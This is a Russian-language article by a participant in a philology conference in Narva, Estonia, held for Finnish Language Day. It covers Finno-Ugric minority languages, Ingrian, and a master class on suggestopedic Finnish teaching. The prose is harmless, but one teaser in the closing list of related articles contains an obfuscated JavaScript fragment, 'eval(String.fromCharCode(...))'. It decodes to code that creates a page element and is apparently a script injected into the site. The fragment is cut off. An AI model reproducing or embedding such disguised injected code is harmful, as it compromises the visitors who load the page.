ДЕНЬ ФИНСКОГО ЯЗЫКА В НАРВЕ

AGRIKOLA I.2ee62299

Мне кажется любому жителю Санкт-Петербурга, не говоря уже о читателях этого сайта, можно адресовать вопрос: «Что ты знаешь о праздновании дня финского языка?» Если даже последует ответ, что практически ничего, то после некоторого раздумья, наверняка, появится дополнение, что финский язык тем или иным образом присутствует в жизни каждого петербуржца. Доказательством этого факта стал заключительный доклад второго дня работы филологической конференции, состоявшейся 6-8 апреля в Эстонии. На этот раз знатоки и носители угро-финских языков собрались в канун дня Микаэля Агриколы или дня финского языка, который, празднуется в Финляндии,  начиная с 1960 года, в прекрасном здании нарвского колледжа университете Тарту. Именно на этой конференции я узнала о таком понятии, как лингвистический ландшафт. Представьте,  мы живём не только в прекрасном городе на Неве, но и окружены финским лингвистическим ландшафтом, который явно нашему городу «к лицу». Трудно отыскать  человека, не знающего ни одного слова по-фински. Вы поспорите? Но в ответ услышите слово «sauna» и вопрос будет закрыт. Мы все должны быть благодарны великому финскому просветителю Микаэлю Агрикола, создавшему в 1543 году литературный финский язык. Лично я, как преподаватель финского языка, знаю и чту это имя. На конференцию в Нарву собрались представители многих народов, ведь на языках, родственных финскому,  говорят в Эстонии, России, Швеции, Норвегии, Латвии и Венгрии. В своих докладах выступавшие рассказали, в частности, как о проблемах, так и об успехах в изучении «малых» языков: ижорского,  водского,  ливского,  вепсского и других. На конференцию приехали филологи с российского Ямала, из Удмуртии, Карелии, республики Коми. Филологи из Финляндии, Швеции, Латвии, Эстонии также представили свои доклады.

От Санкт-Петербурга и Ленинградская области выступил Дмитрий Харакка-Зайцев, рассказавший о положении ижорского языка, а Алла Садовникова  провела двухчасовой мастер-класс по преподаванию финского языка. Последняя выступала от имени общества Pietarin Inkerin Liitto и рассказала и показала на практике суггестопедическую методику преподавания финского языка. В условиях преобладания в Нарве русскоязычного населения, вопрос эффективного преподавания государственного эстонского языка стоит особенно актуально, поэтому участников мастер-класса было достаточно. Нарва встретила всех гостей ярким солнцем и голубизной речной воды. Все политические недомолвки отошли на дальний план. И всеобщей объединяющей силой стал для всех финский язык. (Участник конференции Алла Садовникова).

 

Возможно, Вам также будут интересны статьи:

Turku kutsuu kansanperinteen harrastajat heinäkuus... Город Турку приглашает гостей на фольклорный фестиваль в честь 100-летия независимости Финляндии, https://www.turku.fi/europeade2017. Творческие колле...
Юхани Конкка «Огни Петербурга». Juhani K... Можно приобрести в офисе "Инкерин Лиитто". Издание романа известного финского писателя, ингерманландского финна по происхождению, Юхани Конкка на р...
Выступление фолк-группы Talomerkit на Дне Города I... Фeval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69,...